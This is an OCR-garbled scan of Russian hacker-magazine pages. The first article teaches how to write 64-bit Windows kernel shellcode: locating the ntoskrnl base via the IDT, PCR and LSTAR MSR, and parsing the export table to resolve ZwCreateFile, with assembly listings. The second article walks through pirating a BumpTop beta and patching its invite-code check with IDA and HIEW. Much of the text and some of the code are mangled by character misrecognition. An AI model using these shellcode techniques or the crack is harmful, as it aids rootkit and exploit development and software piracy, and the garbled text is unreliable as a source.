~\1 ~ ,llJUI TefiH HaBepHHKa He ceKpeT, LfTO HAPO 64-fiHTHOH Windows nOABeprnocb 3HaLfHTenbHblM H3MeHeHHHM. 3TO, B nepBYID oLfepeAb, KacaeTCH pHAa CHCTeMHblX CTPYKTYP H (jlYHKUHH. A 3HaLfHT, Ha 64-fiHTHOH BHHAe npHBblLfHble cnocofibl HanHcaHHH wenn-KOAOB CTaHOBHTCH ceaepuienun fiecnone3HblMH, noceMY npHxoAHTCH fipaTb AH3acceMfinep H aAanTHpOBaTbCH K HOBblM ycnoBHHM. 1{0naTbcH B 3TH X caMblX CTpYKTYpax, cpaBHHBaTb H aHanH3HpOBaTb. ~eM Mbl cerOAHH c TofioH H 3aHMeMCH!

TO npVlMe4aTenbHO - HV1KTO AD MeHS1 3TY TeMY He pacnucataan. Ila Vl )1 caM aa Bee speW:1 cyw,eCTBOS3HVls:J x64 BV1,D,en TO.rbKQ npnMep uienn-xona ring3 [In;3ctOr.comlexploitsI97401. nOA uyneeoe «cnsuo MH€ noxa Hlt1yero YSV1,1J,eTb He noaenocs. 6ygeM 3TO neno V1cnpas.nsnb - S€,lJ,b. B KOHLJ,e KOHU,OB, 06naCTb npVlM€HeHltH1 n03lt1LJ,V10HHO-H€3aBV101Moro KO,lJ,a ype38bl4all1HO umpuka: OT anonse neransuux naxepoa/nporexropoa AD PYTKIIlTOB Vl 3KcnnoVITOB.

~TO HY}/{HO .llJ1H PA60Tbl?

,JJ,Jls:! KDMnl.1Jls:JLJ,Vl\l1 ApaCisepa IMbl S€)J,b nll1W€M urenn-xon ringOI rebe norpebyercs M2Cro Assembler x64 [mI64!. Era MO)t(HO YT"HYTb W3 WOK. CaM WOK gocryneH An$=! CKaYl-1B3HV1$=1 Ha caline MenKOcocjna no CCblJ1Ke' microsolt.com/whdciOevToolsiWOK/WOKpkg.mspx.

nOcJle KOMnIl1JHllJ,l!lllJ Apa~Bep MO>KHO 6YAeT aar pyan r s c nOMoUJ,blO Ha60pa KOHCOnbHblX YTW@T W3 npwMepoB An" FASM [install_drv. exe, start_drv.exe \11 np.l. \11 TOJ1bKQ nOToMY. 4TD MHe 6blJ10 J1eHb Hanll1CaTb (BOlO yn'lm1Ty [cBa~HO B 6Jl l!1>Kaiii wee SpeM111. CKa4aTb II1X MQ>KHO no (CbIJl k e: flatassem b ler. net/exa m ples/wi n64_d rive rs. zi p. nOMIIlMO seero npo-rero Te6e nOHago6s=tTcs:I Microsoft Debugging Tools [64-6wTHble aepcuul + livekd PYCCwHOBWya [Hy)t(eH An" npocMoTpa cMew,eHV1l1t 8 >1)J,epHblX crpyxrypax]. [lep ace \11 aropce MO)l{HQ CKayaTb Ha caare Microsoft: microsofl.com/whdc/devtools/debuggingl i nstal164bil.mspx " tech nel.microsoft.com/ru - ru/sysi n lerna lsi bb897415.aspx. LJTo6bl naueape r s OTJla,[l,04Hbliii SbIBD)], c aoer o HOBOIllCneyeHHOrO Apaiiisepa, Te6e nOTpe6yeTC\1 DbgView. OH cefis [YTO OyeHb npW"THo) npexpacuo -iyscrayer Ha 64-6wTHOCi BWHAe,

~ 060

KaK, Bnp04eM, W livekd [technel.microsoft.com/en-us/sysinternalsl bb896647.aspxl.

AW3acceM6nwpOBaTb "AepHble MOAynw 6YAeM c nOMOl11blO IDA x64.

Hy V1 ,o,ml ycneuiacro BocnpvmnHi roro, 4TO 3AeCb HanVlcaHO, Tbl ,n,OJl)KEH 6blTb 3HaKOM C ¢opMaToM PE V1 XOHI 6bl a o6w,lI1x -reprax nOHII1MaTb, 4TO npencraanser co6oii1 64-6111THbltll accevfinep. K BblweCKa3aHHOMY Ha,n,o ew,e ,Ll,06aBII1Tb >KenaHlI1e paaobparscs B TOHKQCHIX 64-61-1THOro nll1- KOA"Hra :1.

nJ1AH .llEHCTBHH

Ofipucyo 3a,n,aYII1, «rropue HaM Heo6xo,D,II1MO 6Y,Ll,eT peWII1Tb npu Hanll1CaHII1I11 6a30He3aBII1CII1MOrO KO,D,a. YTo6bl B ronose ace ynO>KlI1nOCb, acerna ny-n.ie cnenosars or peneneuuovy nnauy.

1. nonyyeHWe aapeca Ha4ana "Apa [aka ntoskrntl:

2. Pa360p rabnnuu axcnopra ntoskrnl:

3. nonyyeHlI1e anpecos HY>KHbIX ¢YHKLJ,Vlii1;

4. Profit'

V1TaK, Ha4HeM no nop51AKY ..

nOHCI{ 6A3bl H.llPA

nepBblM ,n,e.nOM HaM Heo6xD,ll,II1MO nonY4111Tb basy 51Apa. $1 paCCMOTplO Tpll1 cnoco6a nonY4eHVlR:

• 4epe3 non" CTpyKTYPbl Processor Control Region icOKpal11eHHO PCR):

• 103a51 II1HCTPY,KLJ,1I11O sidt:

• 4epe3 msr (OHII1 >Ke MaWII1HHO-3aBII1CI-1Mble perwcrpul.

KOHe4Ho xe, cnocobu nonYYEHV111 a,IJ,peca Ha4ana s:J,o,pa He VlC4epnbiBalOTCR

XAKEP 06 /137/ 10

" c

,

,

EAIiIHCTBeHHblH x64 urenn-xon, 06HapY>KeHHbIH MHOH iii MlilpHO ne>KallllilH Ha inj3ctor.com

POAHOH IiIHTepcj:JeHC ml64

TOJlbKO 3TVlMV1 TpeM$1. Eonee roro, 3.£l,eCb Bee OrpaHVlL.fV18aeTCS:1 TOIlbKO cpaHTa31!1eCi xonepa: 8 MOlll uerin BXOAV1T m1Wb paccraBVlTb nyresonuue cpna>KKl!1 AIls:! TBOV1X ,lJ,aflbHetl1WltlX uccnenoeaHlI1t1i. YTO >1<, npl!1CTynVlM!

cnOC06 N~l

CYTb KaK 3TOro, TaK VI npyrux cnocofioa B TOM, -rro Mbl AomKHbl OTblCKaTb KaKotli-To anpec, rlpV1Ha,lJ,fle>Kaw,VlVI ntoskrnl. TaKOVI anpec MO>KHO nOJlY4l;1Tb 1113, CKa>KeM, o6pa6oT4V1Ka npepusaHt.1s:1 int 3 Vl3 idt. Bubop ,D,Onycn1Moro aexropa onpenenaercs TeM, npV1HaAJle>KV1T flll1 OH 06blLlHO SiAPY. ~ rosopo «05b14HO», TaK KaK MOryr CTOSHb pa3m14Hbie XyKlI1. XOTs:I Ha x64 idt npoaepserca Patch Guard, ero sauurry MO>KHO 5e3 TpYAa 050iiT". B sonpoce noucxa nOAXD)J,s:lUJ,ero o6pa6oT4V1Ka HaM nOMO>KeT livekd " ero KOMaHAa lidt, KOTOpa" AaMn"T Ta5n"~y npepblsaHVlVt.

0: kdc- ! idt Dumping IDT:

00: fffff8000102c400 nt! KiDivideErrorFault 01: fffff8000102c4cO nt ! KiDebugTrapOrFault 02: fffffBOOOI02c600 n t ! KiNmiInterrupt

Stack = OxFFFFFSOOOOllDOOO 03: fffff8000102c940 nt J KiBreakpointTrap 04: fffff8000102caOO nt! KiOverflowTrap

05: fffff8000102cacO nt J KiBoundFault

06: fffffB000102cbBO nt ! KilnvalidOpcodeFault 07: fffff8000102cd40 nt r KiNpxNotAvailableFault 08: fffff8000102ceOO nt! KiDoubleFaultAbort

Stack = OxFFFFFSOOOOllBOOO

09: fffff8000102cecO nt J KiNpxSegmentOverrunAbort Oa: fffff8000102cf80 nt.! KiInvalidTssFault

Db: fffff8DOOI02dD4D nt! KiSegmentNotPresenLFdulL Oc: f ffff8000102d140 n t ! KiStackFaul t

Od: fffff8000102d240 n t.! KiGeneralProtectionFault De: fffff8000102d340 nt!KiPageFault

10: fffff8000102d680 nt r KiFloatingErrorFault 11: fffff8000102d7cO nt !KiAlignmentFault

12: fffff8000102d880 nt! Ki.Ncheckabor-t;

XAKEP 06 /137/10

Stack = OxFFFFF8000011FOOO 13: fffff8000102dbcO nt 1 KiXmmException

1 f: fffff80001027geO nt ! KiApcInterrupt

zc: ff fff80001 02dd40 nt! KiRaiseAssertion 2d: fffff8000102deOO nt! KiDebugServiceTrap 2£: fffff80001067c70 nt r KiDpclnterrupt

VI-oro 20+ B03MO>KHbIX Baplt1aHTOB, 4TO He TaK y>K Mano.

Ho, 4T06bl onpe,1J.enlt1Tb anpec o6pa6oTYIt1Ka, HaM norpetiye+ca aApec Havana idt. O,1J.VlH Vl3 cnccofios ee nOflyyeHIt1S1 - YTeuue non" KPCR.ldtBase. 0 B"Ae CTPYKTYpbl PCR CnpOC"M, KaK 06b14HO, Y livekd.

0: kd> dt _KPCR nt!_KPCR

+Oxooo NtTib _NT_TIB

+OxOOO GdtBase Ptr64 _KGDTENTRY64

+Ox008 Tss8ase Ptr64 _KTSS64

+OxOlO PerfGlobalGroupMask ptr64 Void

+Ox018 Self Ptr64 _KPCR

+Ox020 CurrentPrcb Ptr64 _KPRCB

+Ox028 LockArray ptr64 _KSPIN_LOCK_QUEUE

+Ox030 Used_Self Ptr64 Void

+Ox038 Ldt.Baee Ptr64 _KIDTENTRY64

+Ox040 Unused [2] Uint8B

+Ox050 Irql

UChar

+Ox051 SecondLevelCacheAssociativity UChar

+Ox052 ObsoleteNumber UChar
+Ox053 FillO UChar
+Ox054 UnusedO [3] Uint4B
+Ox060 Maj orversion Uint2B
+Ox062 HinorVersion Uint28
+Ox064 StallScaleFactor Uint4B
+Ox068 Unused! [3] Pt r Sd Void
+Ox080 KernelHeserved [15] Uint48
+OxObc SecondLevelCacheSi ze Uint48 +OxOcO HalReserved [16] Uint4B
+Oxl00 unused2 Uint4B
+Oxl08 KdVersionBlock Pt.r Sd Void
+Oxl10 Unused3 Ptr64 Void
+Oxl18 PcrAlignl [24] Uint4B
+Ox180 Prcb - KPRCB KaK Tbl MO>KeWb 3aMeTVlTb, YKa3aTenlt1 pacurup.rnvcs r;o

64 5"T, HY " "MeHa noneii icpaBH"Ba" C 32-pa3p"AHOii B"H,1J.o~l TO>Ke nOMeH>=1JlVlCb. Ho ::1":-0 He canoe rnaeuoe. TaK KaK Anti Hac B ,1J.aHHbl~ MOMeHT Ba>KHO CMeLll,eHVle nons IdtBase OTHOCVlTellbHO ua-rana _peR.

~ dvd

ViCXOAH"K" CKOMnVlJll!1pOBaHHoro ,1J.pa~Bepa 1t1Lll,1t1 Ha HaweM DVD.

~ 061

~

<tXopowo, AOnYCT"M, crpyxrypy x64 PCR Mbl ManO-ManbCK" 3HaeM [yeCTb "

/J' xsana livekdl. A OTKYAa Mbl AOCTaHeM ykaaarens Ha KPCR? fn"HeM B KOA l!1 <PYHKW"" "3 hal.dll HalinitializeProcessor.

.., I ,

c C.

· text: 000000008001F240 public HallnitializeProcessor

· text: 000000008001F240 HallnitializeProcessor proe near

; DATA XREF, ,pdata,000000008004C804 0

text ,OOOOOOO08001F240
· text: 00000000800 lF2 4 0 var_28 byte ptr -28h
· text ,OOOOOOO08001F240 var 20 byte pt r -20h
· text ,OOOOOOO08001F240 var 18 qword pt r -18h
· text ,OOOOOOO08001F240 arg_ O byte ptr
· text ,OOOOOOO08001F240 · text ,OOOOOOO08001F240
· text ,OOOOOOOO8001F242
· text ,OOOOOOO08001F246
· text ,OOOOOOO08001F24F
· text ,OOOOOOO08001F252
· text ,000000008001F258
· text ,000OOOO08001F25C
· text ,000OOOO08001F25E
· text ,OOOOOOO08001F262
· text: 00000000800 IF2 65
· text ,OOOOOOO08001F26C
· text ,OOOOOOO08001F273
· text ,OOOOOOO08001F27.'.
· text ,OOOOOOO08001F282 push sub

rbx

rsp, 40h r8, qsi IBh rlOd, ecx

mov

r9d,

rax, [r8+20h]

mov ecx, ecx

l r-ax+al . riOb

shl r9 I cl

lea r-ax I HalpProcessorPCR

cs: HalpActi veProcessors, r9 cmp cs: HalpStaticlntAffinity,

mov dword ptr (r8+64h], 64h

mov [rax+rlO*8} I r8

KaK 8\!1,lJ,\!1M, ykaaarer s Ha peR Ails:! rekyuiero npou,eccopa Mbl MO>KeM YT"HYTb"3 qs.l l Sh]. B 32-6"THO" B"HAe lO3an" eerMeHTHbl" perucrp Is, a reneps gs :J

TaK, a 4TO CTaJ10 C necxparrropaun WJ11030B B idt? HaM BeAb HaAo ,0,0- CTaTb anoec 06pa60T4"Ka int 3 [HY "n" npyroro, no BKyeyl. a y uac TOnbKO ,lJ,eCKpll1nTOpbl WJ1f030B, no KOTOPblM «pa3Ma3aHo» cMew,eHV1e o6pa6oT4V1- xa. OHV1,.KoHeYHO xe, B x64 TO>Ke nOMeH$1JlV1Cb. KaK V1MeHHo? V13MeHeHV1$1 MO>KHO [111 HY>KHO] CMOTpeTb B 0pV1rV1HaJ1bHbIX MaHyanax npm13BO,lJ,V1Ten$1 [AMD, Intel]. HO y Hae ee"4ae nOA PYKO" ronsxo livekd. VI e ero no-rouieio roxe MO)l(HO Y3HaTb HY)l(HYIO "H<Pyl B8011""' dt _KIDTENTRY64, YT06bl Bb!HI HyTb 1113 ornaao-u-ux CV1MB0J10B CTPYKTYPY necxpanrops WJ1103a.

0, kd> dt _KIDTENTRY64
nt!_KIDTENTRY64
+OxOOO OffsetLow Uint2B
+OxOO2 Selector Uint2B
+OxOO4 Lst; Index Pos 0, Bits
+OxOO4 ReservedO Pos 3, Bits
+OxOO4 Type Pos 8, 5 Bits
+OxOO4 Dpl Pos 13, 2 Bits
+OxOO4 Present Pos 15, 1 Bit
+OxOO6 OffsetMiddle Uint2B
+OxOO8 OffsetHigh Uint4B
+OxOOc Reservedl Uint4B
+OxOOO Alignment Uint8B
0, kd> 1Il3 sroro ,o,aMna Mbl ,o,OJl>KHbl nOH$1Tb, rne BHYTpV1 neckparrropa pacncnaraiorcs KyC04K" anpeca 06pa60T4"Ka [OH xe Offset]. AApee, KaK Tbl yxe nOH~J1, TO>Ke 64-6Ii1THbl(;1.

BOT, coficraeuuo. Ii1 see. YTO HaM HY>KHO. Hnxe npV1BO>KY KOA c KOMMeHTaplt1S1MIII, KOTOPblC1 III nony-iaer 6a3Y S1Apa 3Tlt1M cnoco60M.

KPRC

mov rex, gs: [1Sh] ; +Ox038 IdtBase

mov rcx,qword ptr[rex+38h)

Ptr64 _KIDTENTRY64

~ 062

~E;c~n=H=K=O==H=co=n==b=l"=lv=e]k~d~T~e~6~e~H~e~n~O~A~Y§UW~e~ __ ~§3~ailln~Y~C~K~aU~~~ livekd c napaMeTpOM -w I

i norryyeHMe a~eca o6pa6oTYMKa inc 3

; Pa3Mep AeCKpMTITOpa llinD3a Teneph 16 6awT. Hy~eH TpeTwM o6pa6oT~MK OT 0

i INT_X _ KOHCTaHTa ~ 3 add rcx,16*INT_X

; co6MPaeM BMeCTe nOJIS OffsetLoN, OffsetMiddle M OffsetHigh CTPYKTYP~ KIDT&~TRY64

mov r11,qword ptr [rex]

and rll, OFFFFh

mov rcx, qword ptr [rcx+4]

; Tenepb B rex a~pee o6pa6oTYMKa int 3 {Offset) mov eX,r11w

and eX,OFOOOh ; o6Hyn5ieM MJlaAIlU1e 12 6J1T anpeca

search_Ioo: i L{l1:K"' nQ1.1CKa 6a3b1. ntoskrnl

cmp word ptr [rex], 'ZM'

jnz nxt

sub raX,rax

i eax -> PE offset

mov eax,dword ptr [rcx+3ChJ i npoaepxe cur-aa-rypa PE

cmp word ptr [rcx+rax), 'EP' jz founded

nxt:

i npononxaen nOJ1CKV1"

sub rcx,1000h ; TaK 6~cTpee 8cero jmp search_loo

founded:

3TOT MeTo,o, TaK>Ke OCHOBbIBaeTC~ Ha idt. OH HeCKonbKO naKOHIllYHeC1,

4eM npeAbIAyw,IIIC1, HO TaK>Ke VlMeeT pS1,1J, oco6eHHocTellt no cpaBHeHVlIO C aHanOrVlYHblM cnocofio» AJl$1 32-pa3p51AHo(;1 BepcVlIII Windows. OCHoBHa~ npVlYVlHa pa3nVl4111V1 - 1II3MeHeHi/le ¢opMaTa pert+crpa idtr. none JlIi1MIIITa He nOMeHS1JlOCb (KaK 6blJlO 2 6aC1Ta, TaK 111 ocranocsl. a BOT none 6a3bl crane paBHblM 86aihaM.

CTpYKTypa idtr Ha x64 cnenyictuan:

t.ypede f st 1 uc t. IDTR

{

USHORT usLimit; ULONGLONG uBase; }IDTR;

nonY""B 6a3y idt, Ae"CTByeM "HCTpYK~"eii sidt TaK xe, KaK " B npenunyLlieM np"Mepe .. 06Hyn"eM MnaAW"e 12 6"T aapeca n, BbI4"Ta" no 1000h, npoaepsev C"rHarypbl MZ " PE.

XAKEP 06 /137{ 10

Ew,e O,lJ,I-1H KpaCII1BblVl cnoco6 3aKnfOLJaeTGl B nOJlYLJeHV1111 anpeca KiSystemCal164 [TaK Ha3blBaeTCR 06pa60T4"K B 64-6"THOM RApe] "3 rnsr perucrpa Istar (era anpec OxC00000821. 3TOT perucrp [KaK, aepoarso. refie 1t13BeCTHO]lt1cnOJlb3yeTCs:! KOMaH,lJ,oi:t syscall.

sub rex,rex

mov ecx,OC0000082h ; a~pee msr B ecx

rdmsr ; ~HTaeM MornWHHO-3aBWCMMHW perMeTp lstar

llocne 3TOro B nape perncrpos edx.eax 6Y,lJ,eT conepxarscs aapec KiSystemCall64. KCTaTV1, BOBce Heo6~3aTenbHo LJV1TaTb II1MeHHO per.icrp Istar. Bo06111e, "HeTpyK~"R syscall B long mode [pe>l<"M npoueccopa, B KOTOPOM pafioraer 64-pa3p)=!,lJ,Has:! 8V1H,lJ,a] ioaaer 2 msr perucrpa: cstar l!I lstart Ans:! compatibility l!I 64-bit mode COOTseTCTBeHHO. TaK K LJeMY 3TO

R BeAY? B msr cstar (OxC0000083i roxe nexur aapec. np"HaAne)l(al11"" A"ana30HY anpecos ntoskrnt: - 3TO anpec npouenypu KiSystemCal132 ,Qanee no yxe lt13BecTHoi:t rebe cxeve nony-raev anpec Ha4ana snpa

PA360P 3KCnOPTA B WINDOWS X64

Teneps npucrvnaev K nOJlYLJeHIIHO anoecca HY>KHbIX ¢YHKLI,l!Ii:t. TaK KaK Mbl lt1MeeM AeJlO C ¢opMaTOM PE32+, HaAO Y4l!1TbiBaTb ero cneLJ,l!Icpl!lKY. 06pl!lCyfO OCHOBHble MOMeHTbl, <oropsre nOMeH)=!Jllt1Cb. Ecnll1 Tbl lt1MeeWb onsrr Hanl!lCaHI.1)=! WeJlJl-KO,n,OS AJls:! win32, TO HasepHs:!Ka 3HaeWb, 4TO noJlY4lt1Tb ykaaarens ua AV1peKTOplt11O 3KcnopTa MO>KHO, nplt16aBI.1B K a,o,pecy Ha4ana IMAGE_NT_HEADERS 78h. B win64 Mbl np"6aBnReM 88h. YBeJl1!14eHl!1e 3HayeHI-1~ BeJlI-1YI-1Hbl cMew,eHl!1~ 06YCJlOBJleHO YBeJlV1yeHltleM HeKoTopblX nOJler::i B PE32+ no cpaBHeHIIHo C PE32.

B3rnRHeM ua CTpyKTypy _IMAGE_NT_HEADERS64o

typedef struct _IMAGE_NT_HEADERS64

DWORD Signature;

lMAGE_FILE_HEADER FileHeader i lMAGE_OPTIONAL_HEADER64 OptionalHeaderi

lMAGE_NT_HEADERS64, *PI~~GE_NT_HEADERS64;

To eCTb J.13MeHeHI.1H KOCHYJlI.1Cb noneji OnLJ,IIIOHaJlbHOrO aaronosxa. V13-3a sroro nplt1WJ10Cb nOMeHflTb cMew,eHlt1)=!. KCTaTI.1 IMAGE_EXPORT_ DIRECTORY [KaK" IMAGE_DOS_HEADER) He nOMeHRnacb, 4TO urpaer HaM Ha pyKy.

B 3aKJlK)YeHV1e npItlBO>KY KOA pasoopa Ta6Jllt1LJ,bl skcnopra ,lJ,Jls:! PE32+:

shellcode_data:

db "ZwCreateFile",O

; ~eM a~pee HY*HOM ~YHK~MM i export directory

lea .r L'l . [rcx+rax+88h]

sub r12,r12

; export directory rva mov r12d,dword ptr (rIll

; BMpTyanbH~M a~pec lMAGE_EXPORT_DIRECTORY add r12', rex

sub r8,r8

;number of functions

mov r8d,dword ptr [r12+18h] sub r9,r9

i AddressOfNames

mov r9d,dword ptr [r12+20h]

i function names virtual address add r9,rcx

dee r8

i func_name

XAKEP 06 /137/ 10

mav rdi,shellcode_data next_function:

sub rsi,rsi

mov esi,dword ptr [r9+r8*4J add rsi,rex

; c6pocJ.1M qmar HarrpaBJ1eHM.7I, YTo6b: npa xoaaane empsb npOWCXO,llWfl ~BXpeMeHT perMCTpOB

cld

push rdi

. ip:::p;::eM rex _ KQMaH,lla cmpsb era MO,llM~MUMPYcemTpsb Il~

i YCTaHaBnMBaeM CyeT4MK eMMBonOB )lITH KOMaH,llH ~ ~ mov rcx,12

; Ha4MHa€M cpaBHwBaTb CTPOKM nOCMMBOJ1bHO repe cmpsb

jz founded_f

pop rex i BOCCTaHaB.ID1BaeM 3Ha'LIeHItl5I MO..o.11cpJl!Ul1PyeMblx

cmpsb perMcTpoB pop rdi

i YMeHbmaeM eYeT~MK ~YHK~MM dec r8

jnz next_function jmp not_found founded_fo

pop rcx

pop rdi

sub rbx,rbx

i AddressOfNameOrdinals RVA mov ebx,dword ptr [r12+24hJ

iNameOrdinals VA add rbx,rcx

; index in address table into r8

mov r8w, word ptr [rbx+r8*2] i Kna~eM 3HayeHWe

MH~eKca B Mna~illee enDED perMCTpa r8 and r8d,OFFFFh

sub rbx,rbx

mov ebx,dword ptr [r12+1ChJ add rbx,rex

sub r12, r12

mov r12d, [rbx+r8*4] ; xnane» B anenuree ,lJ;BOMHOe CJ10BQ per-nc-rpa r12 RVA HYIKHoiiJ HaM rpYHKu;MIrI

i B perMCTpe rcx nonyYaeM a~pec ~YHKUMM ZwCreateFile add rcx,r12

not found:

KaK B[;1,IJ,VlWb, 3TOT KO,IJ, [;1MeeT ,IJ,Ba cyutecraeuuux He,lJ,OCTaTKa. Bo-nepBblx, 11 He xeuu-pyo lt1M)=! CPYHKLJ,I-1Vl, a l1CnOJlb3YKl nOCVlMSOJlbHOe cpaBHeHl-1e BO-STOPbIX, OTCYTCTsyeT onTVlMIo13aLJ,Vl)=!.

Teneps KOMn[;1JlVlpyeM Apalilsep c nOMoUJ,bfO ml64, a OTJla,IJ,04Hbli:t SbIBO,lJ, CMOTP"M B DbgView.

npa8101JlbHOCTb nonyveauoro anpeca MO>KHO nposepurs B livekd. AJl)=! sroro BBe,IJ,eM KOMaHAY:

u rronyyeHHbIM_a.upee

3AKmO~EHHE

BOT Mbl iii paaofipanuc s C )=!AepHblM urenn KOAI.1HrOM non 64-6Io1THylO BIo1H,lJ,Y. Ha nepBbllll B3rnHA H[;1YerO CJ10>KHOro. Bo06Ll..\e, HaAo CKa3aTb, 4TO 64-pa3pH,lJ,Hble npousccopu o4eHb nplllBJleKaTeJlbHbl ,IJ,Jls:J Hanl!1CaHl!1H nVl-KO,IJ,a. Bce aer o B TaKI.1X HOBoBBeAeHVI~x, KaK rip-relative addressing V1 60JlbWee KOJll.14eCTBO per acrpca. npasAa, u eko'tcpete Be~[;1 )=! HaMepeHHo ynYCT[;1Jl [;13 BI.1AY - He npVlSO,IJ,V1Tb >Ke (OeCeM 3aKOHyeHHOe peuieune :I. C 3Tlt1M 'refie. 4 lt1TaTeJlb, e ure npe,IJ,CTOlt1T paaobparscn u na nOMO>KeT rebe ,lJ,lt13aCCeM5nep! I

•• MaKCI1M 6YP~Hi'1 Maksim.Burnlnfagmall.com; AI-H1TpllM «2FEQ» CI-H1PHOB

BUMPTOP HnH 5ETA-BEPCHH 5y.nYUlErO

llaaepaee, Ka>K,ll,blH LfenOBeK XOLfeT, LfT06bl BCe Hy>KHOe scerna 6blnO C HHM H ne>KanO

B OAHOM MeCTe. BumpTop npHAep>KHBaeTCH HMeHHO TaKOrO npHHUHna - 3TO CBOerO pOAa «Kop06Ka», B KOTOPOH MO>KHO BCe pa3nO>KHTb no nonOLfKaM HnH napOH KnHKOB MblWblO 06paTHTb B xaoc. Tbl, saaapaee, Y>Ke AoraAanCH, LfTO peLfb HAeT 0 pa60LfeM crnne 3D.

npwrllAWAEMCR HA TECTHPOBAHHE

IO,lJ, Ha3a,lJ, ~ anepaue YSIII,lJ,en BIII,lJ,eO-,lJ,eMOHCTpalJ,1II1O rpexuepucro neckrona Burnp'Iopll. rorna xe ~ norian 3aSiBKY Ha 6eTaTecTlllpoBaHllle. BpeMSi uino, a IIIHsaVlT Ha no-rry see He npuxonan, ~ Y)Ke III 3a6bln npo Hero. V1 BOT, Ha AHs:lX B OAHOM 1113 6noroB s=J HaTKHync~ Ha 3aMeTKY 0 BumpTop 1!1 BcnOMHl!1n, 4TO xorna-ro ornpasnsn 3a~BKy Ha l!1HBaVlT, 1!1 YTO MHe TaK HIII4ero III He Aanlll.

WAr nEPBbl~

An)=! HaYana Si peurun nOI!1CKaTb, 4TO riocrynuo B CeT!-1. C 3TOVllJ,eJlblO ~ sauren Ha JlI06l!1MbIVl thepiratebay.orq, s6111n B CTpOKe nOl!1CKa «BurnpTop» " nony-u-n scero 1 pesynsrar - 6eTa-BepC"1O 2008 rona. CKa4aB roppe+rr. ~ YCTaHOB!-1Jl 1!1 3anycTIIIJl BumpTop. KaK 1!1 O>K!-1,lJ,anOCb, )=! nony41!1n OKHO c npocb6oVl npe,n,bs:lBI!1Tb I!1HBaVlT. V1HBaIl1Ta y MeHSi, KOHeYHO, He 6bIJlO, TaK 4TO" cpasy orxpun bumptop.exe B WHTepaKTWBHOM AW3acceM6nepe IDA pro. nOCJle uenonroro auenaae IDA aa-tepna, nepenaeaa ynpaeneune MHe. V1 ryT nOHeCJlOCb.

Ans:! Hayana Hy>KHO 6blno HaVln-1 KO,Q, KOTOPblili onpenenser. saperucrp-tpoaa-

~ 064

Ha nw nporpauua An" 3TOrO" orxpun OKHO co Strings [Shift+F12] W Hawen TaM CTPOKY «Please enter your invite code.», Hanl!1CaHHYfO B OKHe An)=! asoaa V1HBailiTa. Knl!1KHyn no HeVl naa pasa III OKa3anGI Ha auoece .rdata:00647D1C. rne 3Ta crpoka XpaHI!1TCs:I. 3aTeM s:I ausaan OKHO jump to xref operandlxl, 410- 6b\ nocvorpers, rAe Hawa crpoka l!1CnOnb3yeTcs:!. nonY411ln scero O,n,V1H anpec 1Il nepewen no HeMy. Aanee, 4T06bl YAocTOSepl-1TbCs:I, 4TO 3TO TOT KO,lJ" KOTOPblf1 Mbl Wll1eM, " nocraenn T04KY OCTaHOBa [F2] " sanycrnn nporpaso-y [F9]. ,L\ocTwrHYB 6p"Ka, npofiexancs HeMHoro BH"3 [F81 AD aapeca 0041 B7A7. VI .. BOT OHO! Orxpunocs Hawe OKHO C 3anpOCOM lt1HSaVlTa. Tenepb cnenyer HaIl1TV1 KO,n" KOTOPbli:1 onpenenser, Hy>KHO JlIII HaM nOKa3blsaTb 3TO OKHO. OCTaHOBlI18 nporpa-n-y lt1 nOAHs:!BWII1Cb no KDAY euure, AO 06b~BneHIII~ CPYHKLI,I!1I11 no anpecy .text:0041 B350, " nOCMOTpen, OTKYAa oua Bbl3blBaeTCO [jump to xref operand]. 3aTeM, nepef1A" no nonY4eHHOMY aApecy, cpaay nepen Bbl30BOM Haweill CPYHKLJ,Vllll s:l yBV1,n,en ycnoBHblili nepexon.

. text: 004862B4 cmp byte ptr [eax+8BhJ I 0

; cpaBHeHMe nepeMeHHoH C 0 .text:004862BB jnz short loc_4862C2

XAKEP 06/137/10

Addr. .. Length T .. String
'~ ... " .rde ... 0000002E C Please Enter a Keyword to Search FlickR with:
.... .rde ... 0000002C C Please Enter a Keyword to Search Snap with:
Bump Top has been successfully installed. .... .rde ... 00000027 C Please Select a Directory to Load From
.... .rde ... 00000026 C Please call curl_ multi_perform{) soon
.... . fda ... 00000041 C Please enter the name of the directory this Pile wi ... Please enter your invite code:

Ok Cancel

Please use Windows Update to check for any critical updates to the .t~ET Framework.

Cancel

(. Back

Tonsxo 'lTO 3any~eHHblH Bumptop beta 12

A new version of BumpTop is available! (vcurs: ISS2,Newest: ISS9)

Update Description:

Beta 15 - Improved text readability, eesier-tc-henee pinned items, and more. Full details at http://bumptop,comfdownloadd

We've automaticaiy downloaded the update for you, would you like to update now?

06HOB~M Hawy cTapylO 6eTY Ha HOBYIO?

ycnoanaa nepexon

.text:004862BD call sub_41B350 iB~30B @YHK~MM

51 nOCTaB~n Ha Hero TO'-lKY OCTaHOBa, 3anYCT~n nporpaso-ry, ~ oua acrana Ha CBe>KeYCTaHOBJleHHOM 6p)=lKe. TaK KaK 3.QeCb ycnoBHbl(;i nepexor; ocyw,eCTBn)=l·eTC)=I C nOMow,blO ~HCTpyKLI,J.1J.1 JNZ lnpuruyn; eCJl~ He uons]: TO, 4To6bJ nepexon ace-raxa COCT051nC51, Hy>KHO nOMeHSHb ¢nar ZF l¢nar Hyn>l - e,o,~HCTBeHHbl(;i onar. KOTOPbliii sm151eT Ha ~HCTpyKLI,J.1\11 JZ \11 JNZ] C 1 ua O. nOMeH"S cnar, S OKHe General Registers" snaaun Run[f91. Bumptop. pa,lJ,OCTHO MiI1rHys cnneurcxpnuoi« iI1 Bbl3saB HeCKonbKO VlCKJlIQ'-IeHiI1~, <cropue s:! ycneuruo npo-truopupoean. crapra-ynl

Teneps MHe OCTaBaJlOCb TOJ1bKO cnenars 5~TxaK ¢aillna TaK, YT06bl He BbIBO,lJ,V1nOCb OKHO C 3anpOCOM V1HBaillTa. OTKPblB ¢ailln bumptop.exe B HIEW, )=I naa pasa nyun-yn <enter> ,IJ,ns:! nepexcna B pe>KVlM ,IJ,iI13aCCeM6J1V1- pOSaH"" 3aTeM Ha>Kan F5. ssen aapec ycncs-rcro nepexona [.004862BBI ~ CHOBa uaxan <enter>.

